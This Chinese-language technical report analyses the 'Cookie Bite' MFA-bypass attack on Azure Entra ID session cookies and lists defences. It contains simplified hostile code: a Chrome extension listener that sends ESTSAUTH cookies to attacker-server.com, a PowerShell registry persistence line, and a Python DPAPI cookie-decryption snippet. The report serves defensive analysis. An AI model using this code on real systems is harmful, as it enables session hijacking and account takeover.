
1. 簡介
Varonis Threat Labs 記錄的「Cookie Bite」攻擊,是一種利用認證 cookie 繞過多因素認證(MFA)的精巧方法,特別針對 Azure Entra ID(前身為 Azure Active Directory)的 session。此攻擊向量利用竊取的瀏覽器 cookie 冒充合法用戶,讓 threat actor 持續存取 Microsoft 365、Outlook 和 Teams 等雲端環境。本報告提供攻擊框架的技術剖析,包括其架構、程式碼層面機制及防禦對策。

2. 技術背景:認證 Cookie 與 MFA 繞過
現代雲端服務如 Azure Entra ID 依賴 session cookie(例如 ESTSAUTH 和 ESTSAUTHPERSISTENT )來維持已認證的 session。這些 cookie 在 MFA 後驗證用戶身份,啟用 Single sign-on(SSO)。然而,這些 token 若被竊取,將成為重大漏洞,使攻擊者完全繞過 MFA。
- ESTSAUTH :臨時 session cookie,有效期最長 24 小時,瀏覽器關閉後銷毀。
- ESTSAUTHPERSISTENT :持久性 cookie,即使瀏覽器關閉仍保留,實現長期存取。
3. 攻擊方法與技術架構
Cookie Bite 攻擊包含四個階段,結合瀏覽器擴充功能、自動化腳本(scripts)及 cookie 注入技術。
3.1 階段 1:惡意瀏覽器擴充功能部署
Threat actor 部署自訂 Chrome 擴充功能來監控認證事件並提取 cookie。這些擴充功能在瀏覽器的安全環境中運作,繞過傳統惡意軟體檢測:
-
路徑
:擴充功能透過 Chrome 的開發者模式載入,常儲存在作業系統特定目錄(例如 Windows 上的
C:\Users\<user>\AppData\Local\Google\Chrome\User Data\Default\Extensions
)。 -
功能
:擴充功能使用
chrome.cookies
API 即時攔截認證 cookie。以下是簡化的 cookie 提取程式碼片段:
- chrome.cookies.onChanged.addListener(function(changeInfo) {
- if (changeInfo.cookie.name.includes('ESTSAUTH')) {
- fetch('https://attacker-server.com/exfil', {
- method: 'POST',
- body: JSON.stringify(changeInfo.cookie)
- });
- }
- });
- 規避 :透過避免磁碟解密和程序注入,這些擴充功能規避端點檢測工具。
3.2 階段 2:PowerShell 自動化實現持久性
PowerShell 腳本確保擴充功能保持安裝且有效:
- # 透過登錄操作實現擴充功能持久性
- New-ItemProperty -Path "HKCU:\Software\Google\Chrome\Extensions" -Name "malicious_extension_id" -Value "C:\path\to\extension" -Force
此腳本還自動將 cookie 外洩至遠端伺服器,確保即使瀏覽器重啟仍能持續存取。
3.3 階段 3:Cookie 解密與重用(Reuse)
竊取的 cookie 通常使用平台特定機制加密:
-
Windows DPAPI
:基於 Chromium 的瀏覽器使用 DPAPI 保護的 AES 金鑰加密 cookie。攻擊者使用
CryptUnprotectData
在本機解密金鑰:
- # 簡化的 DPAPI 解密(來自 Varonis 的 PoC)
- from win32crypt import CryptUnprotectData
- def decrypt_cookie(encrypted_value):
- return CryptUnprotectData(encrypted_value, None, None, None, 0)[1]
- Linux/macOS :透過記憶體傾印(memory-dumping)技術繞過 Keychain 或 TCC 保護。
3.4 階段 4:Session 注入與橫向移動
攻擊者使用配套擴充功能將竊取的 cookie 注入其瀏覽器,模擬受害者的作業系統、瀏覽器和網路 fingerprint,以規避條件存取政策(Conditional Access Policies, CAPs)。這允許存取:
- Microsoft 365 應用程式 :Outlook、Teams、SharePoint。
- 權限提升 :攻擊者利用如 Global Admin 的角色在雲端資源間進行橫向移動。
4. 影響分析與案例研究
Varonis 的概念驗證(PoC)展示了攻擊的有效性:
- 繞過 MFA :Session cookie 無需憑證或 MFA 挑戰。
- 持久性 :持續的 cookie 提取確保無限期存取。
- 檢測挑戰 :活動模擬合法用戶行為,規避 SIEM 警報。
案例範例 :一個被盜的 ESTSAUTHPERSISTENT cookie 讓攻擊者持續存取企業 Azure 租戶超過 30 天,導致資料外洩並橫向移動至 AWS 環境。
5. 防禦策略
5.1 安全 Cookie 設定
-
屬性強化
:設定
Secure
、HttpOnly
和SameSite=Lax
標誌以限制 cookie 暴露。 -
範圍限制
:避免廣泛的
Domain
設定(例如*.harvard.edu
),以防止跨子域劫持(Cross-subdomain hijacking)。
5.2 瀏覽器安全政策
- 擴充功能白名單 :強制執行 Chrome ADMX 政策以阻止未授權的擴充功能。
- 記憶體保護 :Microsoft Defender for Endpoint 等工具可檢測瀏覽器記憶體傾印活動。
5.3 雲端特定緩解措施
- 條件存取 :強制執行設備合規性和地理登入限制。
- Token 撤銷 :實施短效 session 和高風險操作的強制重新認證。
6. 結論
Cookie Bite 攻擊凸顯了雲端生態系統中基於 cookie 的認證脆弱性。Threat actor 透過武器化瀏覽器擴充功能和自動化實現靜默且持久的存取。防禦者必須採取多層安全措施,包括嚴格的 cookie 政策、行為分析和主動 session 監控。